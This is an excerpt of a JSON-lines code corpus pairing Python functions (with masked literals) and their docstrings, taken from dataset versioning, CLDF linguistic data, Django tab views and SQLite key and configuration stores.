True),<EOL>('<STR_LIT>', True),<EOL>('<STR_LIT>', True),<EOL>]))]))<EOL><DEDENT>with open(autofile, '<STR_LIT:w>') as fd:<EOL><INDENT>fd.write(json.dumps(autooptions, indent=<NUM_LIT:4>))<EOL><DEDENT>print(\"<STR_LIT>\")<EOL>print(\"<STR_LIT>\".format(autofile))<EOL>print(\"<STR_LIT>\")<EOL>print(\"<STR_LIT>\")<EOL>sys.exit()<EOL>", "docstring": "Initialize a repo-specific configuration file to execute dgit\n\nParameters\n----------\n\nautofile: Repo-specific configuration file (dgit.json)\nforce_init: Flag to force to re-initialization of the configuration file", "id": "f8149:m1"}
{"signature": "def auto_get_repo(autooptions, debug=False):", "body": "<EOL>pluginmgr = plugins_get_mgr()<EOL>repomgr = pluginmgr.get(what='<STR_LIT>', name='<STR_LIT>')<EOL>repo = None<EOL>try:<EOL><INDENT>if debug:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>repo = repomgr.lookup(username=autooptions['<STR_LIT:username>'],<EOL>reponame=autooptions['<STR_LIT>'])<EOL><DEDENT>except:<EOL><INDENT>try:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>url = autooptions['<STR_LIT>']<EOL>if debug:<EOL><INDENT>print(\"<STR_LIT>\".format(url))<EOL><DEDENT>common_clone(url)<EOL>repo = repomgr.lookup(username=autooptions['<STR_LIT:username>'],<EOL>reponame=autooptions['<STR_LIT>'])<EOL>if debug:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>except:<EOL><INDENT>yes = input(\"<STR_LIT>\")<EOL>if yes == '<STR_LIT:y>':<EOL><INDENT>setup = \"<STR_LIT>\"<EOL>if autooptions['<STR_LIT>'].startswith('<STR_LIT>'):<EOL><INDENT>setup = '<STR_LIT>'<EOL><DEDENT>repo = common_init(username=autooptions['<STR_LIT:username>'],<EOL>reponame=autooptions['<STR_LIT>'],<EOL>setup=setup,<EOL>force=True,<EOL>options=autooptions)<EOL>if debug:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT><DEDENT><DEDENT>repo.options = autooptions<EOL>return repo<EOL>", "docstring": "Automatically get repo\n\nParameters\n----------\n\nautooptions: dgit.json content", "id": "f8149:m2"}
{"signature": "def get_files_to_commit(autooptions):", "body": "workingdir = autooptions['<STR_LIT>']<EOL>includes = autooptions['<STR_LIT>']['<STR_LIT>']<EOL>excludes = autooptions['<STR_LIT>']['<STR_LIT>']<EOL>includes = r'<STR_LIT:|>'.join([fnmatch.translate(x) for x in includes])<EOL>excludes = r'<STR_LIT:|>'.join([fnmatch.translate(x) for x in excludes]) or r'<STR_LIT>'<EOL>matched_files = []<EOL>for root, dirs, files in os.walk(workingdir):<EOL><INDENT>dirs[:] = [d for d in dirs if not re.match(excludes, d)]<EOL>files = [f for f in files if not re.match(excludes, f)]<EOL>files = [f for f in files if re.match(includes, f)]<EOL>files = [os.path.join(root, f) for f in files]<EOL>matched_files.extend(files)<EOL><DEDENT>return matched_files<EOL>", "docstring": "Look through the local directory to pick up files to check", "id": "f8149:m3"}
{"signature": "def auto_add(repo, autooptions, files):", "body": "<EOL>mapping = { \"<STR_LIT:.>\": \"<STR_LIT>\" }<EOL>if (('<STR_LIT>' in autooptions) and<EOL>('<STR_LIT>' in autooptions['<STR_LIT>'])):<EOL><INDENT>mapping = autooptions['<STR_LIT>']['<STR_LIT>']<EOL><DEDENT>keys = mapping.keys()<EOL>keys = sorted(keys, key=lambda k: len(k), reverse=True)<EOL>count = <NUM_LIT:0><EOL>params = []<EOL>for f in files:<EOL><INDENT>relativepath = f<EOL>for k in keys:<EOL><INDENT>v = mapping[k]<EOL>if f.startswith(k + \"<STR_LIT:/>\"):<EOL><INDENT>relativepath = f.replace(k + \"<STR_LIT:/>\", v)<EOL>break<EOL><DEDENT><DEDENT>count += files_add(repo=repo,<EOL>args=[f],<EOL>targetdir=os.path.dirname(relativepath))<EOL><DEDENT>return count<EOL>", "docstring": "Cleanup the paths and add", "id": "f8149:m4"}
{"signature": "def get_tree(gitdir=\"<STR_LIT:.>\"):", "body": "cmd = [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", '<STR_LIT>']<EOL>output = run(cmd)<EOL>lines = output.split(\"<STR_LIT:\\n>\")<EOL>content = \"<STR_LIT>\"<EOL>history = []<EOL>for l in lines:<EOL><INDENT>try:<EOL><INDENT>revisedcontent = content + l<EOL>if revisedcontent.count('<STR_LIT:\">') % <NUM_LIT:2> == <NUM_LIT:0>:<EOL><INDENT>j = json.loads(revisedcontent[:-<NUM_LIT:1>])<EOL>if \"<STR_LIT>\" in j['<STR_LIT>']:<EOL><INDENT>content = \"<STR_LIT>\"<EOL>continue<EOL><DEDENT>history.append(j)<EOL>content = \"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>content = revisedcontent<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>print(revisedcontent)<EOL>content = \"<STR_LIT>\"<EOL><DEDENT><DEDENT>history.reverse()<EOL>changes = get_change()<EOL>for i in range(len(history)):<EOL><INDENT>abbrev_commit = history[i]['<STR_LIT>']<EOL>if abbrev_commit not in changes:<EOL><INDENT>raise Exception(\"<STR_LIT>\" + abbrev_commit)<EOL><DEDENT>history[i]['<STR_LIT>'] = changes[abbrev_commit]['<STR_LIT>']<EOL><DEDENT>return history<EOL>", "docstring": "Get the commit history for a given dataset", "id": "f8150:m1"}
{"signature": "def get_diffs(history):", "body": "<EOL>mgr = plugins_get_mgr() <EOL>keys = mgr.search('<STR_LIT>')['<STR_LIT>']<EOL>representations = [mgr.get_by_key('<STR_LIT>', k) for k in keys]<EOL>for i in range(len(history)):<EOL><INDENT>if i+<NUM_LIT:1> > len(history) - <NUM_LIT:1>:<EOL><INDENT>continue<EOL><DEDENT>prev = history[i]<EOL>curr = history[i+<NUM_LIT:1>]<EOL>for c in curr['<STR_LIT>']:<EOL><INDENT>path = c['<STR_LIT:path>']<EOL>if c['<STR_LIT:path>'].endswith('<STR_LIT>'): <EOL><INDENT>continue <EOL><DEDENT>handler = None <EOL>for r in representations: <EOL><INDENT>if r.can_process(path): <EOL><INDENT>handler = r <EOL>break <EOL><DEDENT><DEDENT>if handler is None: <EOL><INDENT>continue <EOL><DEDENT>v1_hex = prev['<STR_LIT>']<EOL>v2_hex = curr['<STR_LIT>']<EOL>temp1 = tempfile.mkdtemp(prefix=\"<STR_LIT>\") <EOL>try: <EOL><INDENT>for h in [v1_hex, v2_hex]: <EOL><INDENT>filename = '<STR_LIT>'.format(temp1, h)<EOL>try:<EOL><INDENT>os.makedirs(os.path.dirname(filename))<EOL><DEDENT>except:<EOL><INDENT>pass <EOL><DEDENT>extractcmd = ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', filename, h, path]<EOL>output = run(extractcmd)<EOL>if '<STR_LIT>' in output: <EOL><INDENT>raise Exception(\"<STR_LIT>\") <EOL><DEDENT>with cd(os.path.dirname(filename)): <EOL><INDENT>cmd = ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>']<EOL>output = run(cmd) <EOL>if '<STR_LIT>' in output: <EOL><INDENT>print(\"<STR_LIT>\", temp1)<EOL>shutil.rmtree(temp1)<EOL>continue <EOL><DEDENT><DEDENT><DEDENT>path1 = os.path.join(temp1, v1_hex, path) <EOL>path2 = os.path.join(temp1, v2_hex, path) <EOL>if not os.path.exists(path1) or not os.path.exists(path2): <EOL><INDENT>shutil.rmtree(temp1)<EOL>continue <EOL><DEDENT>diff = handler.get_diff(path1, path2)<EOL>c['<STR_LIT>'] = diff<EOL><DEDENT>except Exception as e: <EOL><INDENT>shutil.rmtree(temp1)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Look at files and compute the diffs intelligently", "id": "f8150:m3"}
{"signature": "def api_call_action(func):", "body": "def _inner(*args, **kwargs):<EOL><INDENT>return func(*args, **kwargs)<EOL><DEDENT>_inner.__name__ = func.__name__<EOL>_inner.__doc__ = func.__doc__<EOL>return _inner<EOL>", "docstring": "API wrapper documentation", "id": "f8151:m0"}
{"signature": "def validate(args):", "body": "ds = _get_dataset(args)<EOL>ds.validate(log=args.log)<EOL>", "docstring": "cldf validate <DATASET>\n\nValidate a dataset against the CLDF specification, i.e. check\n- whether required tables and columns are present\n- whether values for required columns are present\n- the referential integrity of the dataset", "id": "f8167:m1"}
{"signature": "def stats(args):", "body": "ds = _get_dataset(args)<EOL>print(ds)<EOL>md = Table('<STR_LIT:key>', '<STR_LIT:value>')<EOL>md.extend(ds.properties.items())<EOL>print(md.render(condensed=False, tablefmt=None))<EOL>print()<EOL>t = Table('<STR_LIT>', '<STR_LIT>', '<STR_LIT>')<EOL>for p, type_, r in ds.stats():<EOL><INDENT>t.append([p, type_, r])<EOL><DEDENT>print(t.render(condensed=False, tablefmt=None))<EOL>", "docstring": "cldf stats <DATASET>\n\nPrint basic stats for CLDF dataset <DATASET>, where <DATASET> may be the path to\n- a CLDF metadata file\n- a CLDF core data file", "id": "f8167:m2"}
{"signature": "def createdb(args):", "body": "if len(args.args) < <NUM_LIT:2>:<EOL><INDENT>raise ParserError('<STR_LIT>')<EOL><DEDENT>ds = _get_dataset(args)<EOL>db = Database(ds, fname=args.args[<NUM_LIT:1>])<EOL>db.write_from_tg()<EOL>args.log.info('<STR_LIT>'.format(ds, db.fname))<EOL>", "docstring": "cldf createdb <DATASET> <SQLITE_DB_PATH>\n\nLoad CLDF dataset <DATASET> into a SQLite DB, where <DATASET> may be the path to\n- a CLDF metadata file\n- a CLDF core data file", "id": "f8167:m3"}
{"signature": "def dumpdb(args):", "body": "if len(args.args) < <NUM_LIT:2>:<EOL><INDENT>raise ParserError('<STR_LIT>')  <EOL><DEDENT>ds = _get_dataset(args)<EOL>db = Database(ds, fname=args.args[<NUM_LIT:1>])<EOL>mdpath = Path(args.args[<NUM_LIT:2>]) if len(args.args) > <NUM_LIT:2> else ds.tablegroup._fname<EOL>args.log.info('<STR_LIT>'.format(db.to_cldf(mdpath.parent, mdname=mdpath.name)))<EOL>", "docstring": "cldf dumpdb <DATASET> <SQLITE_DB_PATH> [<METADATA_PATH>]", "id": "f8167:m4"}
{"signature": "def auto_constraints(self, component=None):", "body": "if not component:<EOL><INDENT>for table in self.tables:<EOL><INDENT>self.auto_constraints(table)<EOL><DEDENT>return<EOL><DEDENT>if not component.tableSchema.primaryKey:<EOL><INDENT>idcol = component.get_column(term_uri('<STR_LIT:id>'))<EOL>if idcol:<EOL><INDENT>component.tableSchema.primaryKey = [idcol.name]<EOL><DEDENT><DEDENT>self._auto_foreign_keys(component)<EOL>try:<EOL><INDENT>table_type = self.get_tabletype(component)<EOL><DEDENT>except ValueError:<EOL><INDENT>return<EOL><DEDENT>for table in self.tables:<EOL><INDENT>self._auto_foreign_keys(table, component=component, table_type=table_type)<EOL><DEDENT>", "docstring": "Use CLDF reference properties to implicitely create foreign key constraints.\n\n:param component: A Table object or `None`.", "id": "f8169:c1:m9"}
{"signature": "def __getitem__(self, item):", "body": "if isinstance(item, tuple):<EOL><INDENT>table, column = item<EOL><DEDENT>else:<EOL><INDENT>table, column = item, None<EOL><DEDENT>if not isinstance(table, Table):<EOL><INDENT>uri = term_uri(table, terms=TERMS.by_uri)<EOL>for t in self.tables:<EOL><INDENT>if (uri and t.common_props.get('<STR_LIT>') == uri)or t.url.string == table:<EOL><INDENT>break<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise KeyError(table)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>t = table<EOL><DEDENT>if not column:<EOL><INDENT>return t<EOL><DEDENT>uri = term_uri(column, terms=TERMS.by_uri)<EOL>for c in t.tableSchema.columns:<EOL><INDENT>if (c.propertyUrl and c.propertyUrl.uri == uri) or c.header == column:<EOL><INDENT>return c<EOL><DEDENT><DEDENT>raise KeyError(column)<EOL>", "docstring": "Access to tables and columns.\n\nIf a pair (table-spec, column-spec) is passed as `item`, a Column will be\nreturned, otherwise `item` is assumed to be a table-spec.\n\nA table-spec may be\n- a CLDF ontology URI matching the dc:conformsTo property of a table\n- the local name of a CLDF ontology URI, where the complete URI matches the\n  the dc:conformsTo property of a table\n- a filename matching the `url` property of a table\n\nA column-spec may be\n- a CLDF ontology URI matching the propertyUrl of a column\n- the local name of a CLDF ontology URI, where the complete URI matches the\n  propertyUrl of a column\n- the name of a column", "id": "f8169:c1:m20"}
{"signature": "def get_subsequence(self, cognate, form=None):", "body": "return resolve_slices(<EOL>cognate,<EOL>self,<EOL>('<STR_LIT>', \"<STR_LIT>\"),<EOL>('<STR_LIT>', \"<STR_LIT>\"),<EOL>'<STR_LIT>',<EOL>target_row=form)<EOL>", "docstring": "Compute the subsequence of the morphemes of a form which is specified in a partial\ncognate assignment.\n\n:param partial_cognate:\n:return:", "id": "f8169:c3:m2"}
{"signature": "def to_cldf(self, dest, mdname='<STR_LIT>'):", "body": "dest = Path(dest)<EOL>if not dest.exists():<EOL><INDENT>dest.mkdir()<EOL><DEDENT>data = self.read()<EOL>if data[self.source_table_name]:<EOL><INDENT>sources = Sources()<EOL>for src in data[self.source_table_name]:<EOL><INDENT>sources.add(Source(<EOL>src['<STR_LIT>'],<EOL>src['<STR_LIT:id>'],<EOL>**{k: v for k, v in src.items() if k not in ['<STR_LIT:id>', '<STR_LIT>']}))<EOL><DEDENT>sources.write(dest / self.dataset.properties.get('<STR_LIT>', '<STR_LIT>'))<EOL><DEDENT>for table_type, items in data.items():<EOL><INDENT>try:<EOL><INDENT>table = self.dataset[table_type]<EOL>table.common_props['<STR_LIT>'] = table.write(<EOL>[self.retranslate(table, item) for item in items],<EOL>base=dest)<EOL><DEDENT>except KeyError:<EOL><INDENT>assert table_type == self.source_table_name, table_type<EOL><DEDENT><DEDENT>return self.dataset.write_metadata(dest / mdname)<EOL>", "docstring": "Write the data from the db to a CLDF dataset according to the metadata in `self.dataset`.\n\n:param dest:\n:param mdname:\n:return: path of the metadata file", "id": "f8171:c1:m6"}
{"signature": "def add(self, *entries):", "body": "for entry in entries:<EOL><INDENT>if isinstance(entry, string_types):<EOL><INDENT>self._add_entries(database.parse_string(entry, bib_format='<STR_LIT>'))<EOL><DEDENT>else:<EOL><INDENT>self._add_entries(entry)<EOL><DEDENT><DEDENT>", "docstring": "Add a source, either specified by glottolog reference id, or as bibtex record.", "id": "f8172:c3:m16"}
{"signature": "@property<EOL><INDENT>def tab_classes(self):<DEDENT>", "body": "classes = super(MainNavigationBaseTab, self).tab_classes[:]<EOL>if self.current_tab.request.user.is_authenticated():<EOL><INDENT>classes += ['<STR_LIT>']<EOL><DEDENT>return classes<EOL>", "docstring": "If user is logged in, set ``logged_in_only`` class.", "id": "f8180:c0:m1"}
{"signature": "@decorators.method_decorator(login_required)<EOL><INDENT>def dispatch(self, *args, **kwargs):<DEDENT>", "body": "return super(HamTab, self).dispatch(*args, **kwargs)<EOL>", "docstring": "Make sure only authenticated users can access this tab.", "id": "f8180:c2:m0"}
{"signature": "@property<EOL><INDENT>def tab_visible(self):<DEDENT>", "body": "return self.current_tab.request.user.is_authenticated()<EOL>", "docstring": "Show tab only if current user is logged in.", "id": "f8180:c2:m1"}
{"signature": "def get(self, path, data={}, login=False, **extra):", "body": "request = super(FakeAuthRequestFactory, self).get(path, data, **extra)<EOL>if login:<EOL><INDENT>request.user = AuthenticatedUserStub()<EOL><DEDENT>else:<EOL><INDENT>request.user = AnonymousUserStub()<EOL><DEDENT>return request<EOL>", "docstring": "Performs a GET request.\n\n        Use the login argument to get a request with a authenticated user.", "id": "f8181:c2:m0"}
{"signature": "def get_group_tabs(self):", "body": "if self.tab_group is None:<EOL><INDENT>raise ImproperlyConfigured(<EOL>\"<STR_LIT>\" %<EOL>self.__class__.__name__)<EOL><DEDENT>group_members = [t for t in self._registry if t.tab_group == self.tab_group]<EOL>return [t() for t in group_members]<EOL>", "docstring": "Return instances of all other tabs that are members of the tab's\ntab group.", "id": "f8182:c1:m0"}
{"signature": "@property<EOL><INDENT>def tab_visible(self):<DEDENT>", "body": "return self.tab_label is not None<EOL>", "docstring": "Whether or not this tab is shown in the tab group. Or to be more exact,\nwhether or not this tab is contained in ``{{ tabs }}``.\n\nThe default behavior is to set the tab as visible if it has a label.", "id": "f8182:c1:m1"}
{"signature": "def _process_tabs(self, tabs, current_tab, group_current_tab):", "body": "<EOL>for t in tabs:<EOL><INDENT>t.current_tab = current_tab<EOL>t.group_current_tab = group_current_tab<EOL><DEDENT>tabs = list(filter(lambda t: t.tab_visible, tabs))<EOL>tabs.sort(key=lambda t: t.weight)<EOL>return tabs<EOL>", "docstring": "Process and prepare tabs.\n\nThis includes steps like updating references to the current tab,\nfiltering out hidden tabs, sorting tabs etc...\n\nArgs:\n    tabs:\n        The list of tabs to process.\n    current_tab:\n        The reference to the currently loaded tab.\n    group_current_tab:\n        The reference to the active tab in the current tab group. For\n        parent tabs, this is different than for the current tab group.\n\nReturns:\n    Processed list of tabs. Note that the method may have side effects.", "id": "f8182:c1:m2"}
{"signature": "def get_context_data(self, **kwargs):", "body": "context = super(TabView, self).get_context_data(**kwargs)<EOL>context.update(kwargs)<EOL>process_tabs_kwargs = {<EOL>'<STR_LIT>': self.get_group_tabs(),<EOL>'<STR_LIT>': self,<EOL>'<STR_LIT>': self,<EOL>}<EOL>context['<STR_LIT>'] = self._process_tabs(**process_tabs_kwargs)<EOL>context['<STR_LIT>'] = self.tab_id<EOL>if self.tab_parent is not None:<EOL><INDENT>if self.tab_parent not in self._registry:<EOL><INDENT>msg = '<STR_LIT>' % self.tab_parent.__class__.__name__<EOL>raise ImproperlyConfigured(msg)<EOL><DEDENT>parent = self.tab_parent()<EOL>process_parents_kwargs = {<EOL>'<STR_LIT>': parent.get_group_tabs(),<EOL>'<STR_LIT>': self,<EOL>'<STR_LIT>': parent,<EOL>}<EOL>context['<STR_LIT>'] = self._process_tabs(**process_parents_kwargs)<EOL>context['<STR_LIT>'] = parent.tab_id<EOL><DEDENT>if self.tab_id in self._children:<EOL><INDENT>process_children_kwargs = {<EOL>'<STR_LIT>': [t() for t in self._children[self.tab_id]],<EOL>'<STR_LIT>': self,<EOL>'<STR_LIT>': None,<EOL>}<EOL>context['<STR_LIT>'] = self._process_tabs(**process_children_kwargs)<EOL><DEDENT>return context<EOL>", "docstring": "Adds tab information to context.\n\nTo retrieve a list of all group tab instances, use\n``{{ tabs }}`` in your template.\n\nThe id of the current tab is added as ``current_tab_id`` to the\ntemplate context.\n\nIf the current tab has a parent tab the parent's id is added to\nthe template context as ``parent_tab_id``. Instances of all tabs\nof the parent level are added as ``parent_tabs`` to the context.\n\nIf the current tab has children they are added to the template\ncontext as ``child_tabs``.", "id": "f8182:c1:m3"}
{"signature": "@property<EOL><INDENT>def rpc(self):<DEDENT>", "body": "class RPC:<EOL><INDENT>def _load(self, name):<EOL><INDENT>with open(<EOL>os.path.join(os.path.dirname(__file__), \"<STR_LIT>\")<EOL>) as fid:<EOL><INDENT>d = yaml.safe_load(fid)<EOL><DEDENT>return d.get(name)<EOL><DEDENT>def get_objects(self, ids, *args, **kwargs):<EOL><INDENT>return [self.get_object(x) for x in ids]<EOL><DEDENT>def get_object(self, id, *args, **kwargs):<EOL><INDENT>return get_object(id)<EOL><DEDENT>def get_account_history(self, *args, **kwargs):<EOL><INDENT>with open(<EOL>os.path.join(<EOL>os.path.dirname(__file__), \"<STR_LIT>\"<EOL>)<EOL>) as fid:<EOL><INDENT>history = yaml.safe_load(fid)<EOL>return history<EOL><DEDENT><DEDENT>def get_account_balances(self, account, *args, **kwargs):<EOL><INDENT>return [{\"<STR_LIT>\": \"<STR_LIT>\", \"<STR_LIT>\": <NUM_LIT>}]<EOL><DEDENT>def lookup_account_names(self, name, **kwargs):<EOL><INDENT>return [None]<EOL><DEDENT>def get_all_workers(self):<EOL><INDENT>return self._load(\"<STR_LIT>\")<EOL><DEDENT>def get_workers_by_account(self, name):<EOL><INDENT>return [self._load(\"<STR_LIT>\")[<NUM_LIT:0>]]<EOL><DEDENT>def get_dynamic_global_properties(self):<EOL><INDENT>return {<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": <NUM_LIT>,<EOL>}<EOL><DEDENT>def __getattr__(self, name):<EOL><INDENT>def fun(self, *args, **kwargs):<EOL><INDENT>return {}<EOL><DEDENT>return fun<EOL><DEDENT><DEDENT>return RPC()<EOL>", "docstring": "We are patching rpc similar to a regular RPC\n            connection. However, it will always return\n            an empty object!", "id": "f8193:c1:m4"}
{"signature": "def _haveKey(self, key):", "body": "query = (<EOL>\"<STR_LIT>\".format(<EOL>self.__value__, self.__tablename__, self.__key__<EOL>),<EOL>(key,),<EOL>)<EOL>connection = sqlite3.connect(self.sqlite_file)<EOL>cursor = connection.cursor()<EOL>cursor.execute(*query)<EOL>return True if cursor.fetchone() else False<EOL>", "docstring": "Is the key `key` available?", "id": "f8220:c1:m1"}
{"signature": "def __setitem__(self, key, value):", "body": "if self._haveKey(key):<EOL><INDENT>query = (<EOL>\"<STR_LIT>\".format(<EOL>self.__tablename__, self.__value__, self.__key__<EOL>),<EOL>(value, key),<EOL>)<EOL><DEDENT>else:<EOL><INDENT>query = (<EOL>\"<STR_LIT>\".format(<EOL>self.__tablename__, self.__key__, self.__value__<EOL>),<EOL>(key, value),<EOL>)<EOL><DEDENT>connection = sqlite3.connect(self.sqlite_file)<EOL>cursor = connection.cursor()<EOL>cursor.execute(*query)<EOL>connection.commit()<EOL>", "docstring": "Sets an item in the store\n\n            :param str key: Key\n            :param str value: Value", "id": "f8220:c1:m2"}
{"signature": "def __getitem__(self, key):", "body": "query = (<EOL>\"<STR_LIT>\".format(<EOL>self.__value__, self.__tablename__, self.__key__<EOL>),<EOL>(key,),<EOL>)<EOL>connection = sqlite3.connect(self.sqlite_file)<EOL>cursor = connection.cursor()<EOL>cursor.execute(*query)<EOL>result = cursor.fetchone()<EOL>if result:<EOL><INDENT>return result[<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>if key in self.defaults:<EOL><INDENT>return self.defaults[key]<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT><DEDENT>", "docstring": "Gets an item from the store as if it was a dictionary\n\n            :param str value: Value", "id": "f8220:c1:m3"}
{"signature": "def __iter__(self):", "body": "return iter(self.keys())<EOL>", "docstring": "Iterates through the store", "id": "f8220:c1:m4"}
{"signature": "def __len__(self):", "body": "query = \"<STR_LIT>\".format(self.__tablename__)<EOL>connection = sqlite3.connect(self.sqlite_file)<EOL>cursor = connection.cursor()<EOL>cursor.execute(query)<EOL>return len(cursor.fetchall())<EOL>", "docstring": "return lenght of store", "id": "f8220:c1:m6"}
{"signature": "def __contains__(self, key):", "body": "if self._haveKey(key) or key in self.defaults:<EOL><INDENT>return True<EOL><DEDENT>else:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "Tests if a key is contained in the store.\n\n            May test againsts self.defaults\n\n            :param str value: Value", "id": "f8220:c1:m7"}
{"signature": "def items(self):", "body": "query = \"<STR_LIT>\".format(<EOL>self.__key__, self.__value__, self.__tablename__<EOL>)<EOL>connection = sqlite3.connect(self.sqlite_file)<EOL>cursor = connection.cursor()<EOL>cursor.execute(query)<EOL>r = []<EOL>for key, value in cursor.fetchall():<EOL><INDENT>r.append((key, value))<EOL><DEDENT>return r<EOL>", "docstring": "returns all items off the store as tuples", "id": "f8220:c1:m8"}
{"signature": "def get(self, key, default=None):", "body": "if key in self:<EOL><INDENT>return self.__getitem__(key)<EOL><DEDENT>else:<EOL><INDENT>return default<EOL><DEDENT>", "docstring": "Return the key if exists or a default value\n\n            :param str value: Value\n            :param str default: Default value if key not present", "id": "f8220:c1:m9"}
{"signature": "def delete(self, key):", "body": "query = (<EOL>\"<STR_LIT>\".format(self.__tablename__, self.__key__),<EOL>(key,),<EOL>)<EOL>connection = sqlite3.connect(self.sqlite_file)<EOL>cursor = connection.cursor()<EOL>cursor.execute(*query)<EOL>connection.commit()<EOL>", "docstring": "Delete a key from the store\n\n            :param str value: Value", "id": "f8220:c1:m10"}
{"signature": "def wipe(self):", "body": "query = \"<STR_LIT>\".format(self.__tablename__)<EOL>connection = sqlite3.connect(self.sqlite_file)<EOL>cursor = connection.cursor()<EOL>cursor.execute(query)<EOL>connection.commit()<EOL>", "docstring": "Wipe the store", "id": "f8220:c1:m11"}
{"signature": "def exists(self):", "body": "query = (<EOL>\"<STR_LIT>\" + \"<STR_LIT>\",<EOL>(self.__tablename__,),<EOL>)<EOL>connection = sqlite3.connect(self.sqlite_file)<EOL>cursor = connection.cursor()<EOL>cursor.execute(*query)<EOL>return True if cursor.fetchone() else False<EOL>", "docstring": "Check if the database table exists", "id": "f8220:c1:m12"}
{"signature": "def create(self):  ", "body": "query = (<EOL>\"\"\"<STR_LIT>\"\"\"<EOL>).format(self.__tablename__, self.__key__, self.__value__)<EOL>connection = sqlite3.connect(self.sqlite_file)<EOL>cursor = connection.cursor()<EOL>cursor.execute(query)<EOL>connection.commit()<EOL>", "docstring": "Create the new table in the SQLite database", "id": "f8220:c1:m13"}
{"signature": "@classmethod<EOL><INDENT>def setdefault(cls, key, value):<DEDENT>", "body": "cls.defaults[key] = value<EOL>", "docstring": "Allows to define default values", "id": "f8221:c0:m0"}
{"signature": "def __setitem__(self, key, value):", "body": "return dict.__setitem__(self, key, value)<EOL>", "docstring": "Sets an item in the store", "id": "f8221:c0:m2"}
{"signature": "def __getitem__(self, key):", "body": "if key in self:<EOL><INDENT>return dict.__getitem__(self, key)<EOL><DEDENT>elif key in self.defaults:<EOL><INDENT>return self.defaults[key]<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Gets an item from the store as if it was a dictionary\n\n            .. note:: Special behavior! If a key is not found, ``None`` is\n                returned instead of raising an exception, unless a default\n                value is found, then that is returned.", "id": "f8221:c0:m3"}
{"signature": "def __iter__(self):", "body": "return dict.__iter__(self)<EOL>", "docstring": "Iterates through the store", "id": "f8221:c0:m4"}
{"signature": "def __len__(self):", "body": "return dict.__len__(self)<EOL>", "docstring": "return lenght of store", "id": "f8221:c0:m5"}
{"signature": "def __contains__(self, key):", "body": "return dict.__contains__(self, key)<EOL>", "docstring": "Tests if a key is contained in the store.", "id": "f8221:c0:m6"}
{"signature": "def items(self):", "body": "return dict.items(self)<EOL>", "docstring": "Returns all items off the store as tuples", "id": "f8221:c0:m7"}
{"signature": "def get(self, key, default=None):", "body": "return dict.get(self, key, default)<EOL>", "docstring": "Return the key if exists or a default value", "id": "f8221:c0:m8"}
{"signature": "def delete(self, key):", "body": "raise NotImplementedError<EOL>", "docstring": "Delete a key from the store", "id": "f8221:c0:m9"}
{"signature": "def wipe(self):", "body": "raise NotImplementedError<EOL>", "docstring": "Wipe the store", "id": "f8221:c0:m10"}
{"signature": "def is_encrypted(self):", "body": "return False<EOL>", "docstring": "Returns True/False to indicate required use of unlock", "id": "f8221:c1:m0"}
{"signature": "def getPublicKeys(self):", "body": "raise NotImplementedError<EOL>", "docstring": "Returns the public keys stored in the database", "id": "f8221:c1:m1"}
{"signature": "def getPrivateKeyForPublicKey(self, pub):", "body": "raise NotImplementedError<EOL>", "docstring": "Returns the (possibly encrypted) private key that\n            corresponds to a public key\n\n           :param str pub: Public key\n\n           The encryption scheme is BIP38", "id": "f8221:c1:m2"}
{"signature": "def add(self, wif, pub=None):", "body": "raise NotImplementedError<EOL>", "docstring": "Add a new public/private key pair (correspondence has to be\n            checked elsewhere!)\n\n           :param str pub: Public key\n           :param str wif: Private key", "id": "f8221:c1:m3"}
{"signature": "def delete(self, pub):", "body": "raise NotImplementedError<EOL>", "docstring": "Delete a pubkey/privatekey pair from the store\n\n           :param str pub: Public key", "id": "f8221:c1:m4"}
{"signature": "def is_encrypted(self):", "body": "return True<EOL>", "docstring": "Returns True/False to indicate required use of unlock", "id": "f8221:c2:m0"}
{"signature": "def unlock(self, password):", "body": "raise NotImplementedError<EOL>", "docstring": "Tries to unlock the wallet if required\n\n           :param str password: Plain password", "id": "f8221:c2:m1"}
{"signature": "def locked(self):", "body": "return False<EOL>", "docstring": "is the wallet locked?", "id": "f8221:c2:m2"}
{"signature": "def lock(self):", "body": "raise NotImplementedError<EOL>", "docstring": "Lock the wallet again", "id": "f8221:c2:m3"}
{"signature": "def is_encrypted(self):", "body": "return False<EOL>", "docstring": "Returns False, as we are not encrypted here", "id": "f8222:c3:m4"}
{"signature": "def delete(self, key):", "body": "self.pop(key, None)<EOL>", "docstring": "Delete a key from the store", "id": "f8223:c0:m0"}
{"signature": "def wipe(self):", "body": "keys = list(self.keys()).copy()<EOL>for key in keys:<EOL><INDENT>self.delete(key)<EOL><DEDENT>", "docstring": "Wipe the store", "id": "f8223:c0:m1"}
{"signature": "def get_default_config_store(*args, **kwargs):", "body": "kwargs[\"<STR_LIT>\"] = kwargs.get(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>return SqliteConfigurationStore(*args, **kwargs)<EOL>", "docstring": "This method returns the default **configuration** store\n        that uses an SQLite database internally.\n\n        :params str appname: The appname that is used internally to distinguish\n            different SQLite files", "id": "f8224:m0"}
{"signature": "def get_default_key_store(*args, config, **kwargs):", "body": "kwargs[\"<STR_LIT>\"] = kwargs.get(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>return SqliteEncryptedKeyStore(config=config, **kwargs)<EOL>", "docstring": "This method returns the default **key** store\n        that uses an SQLite database internally.\n\n        :params str appname: The appname that is used internally to distinguish\n            different SQLite files", "id": "f8224:m1"}
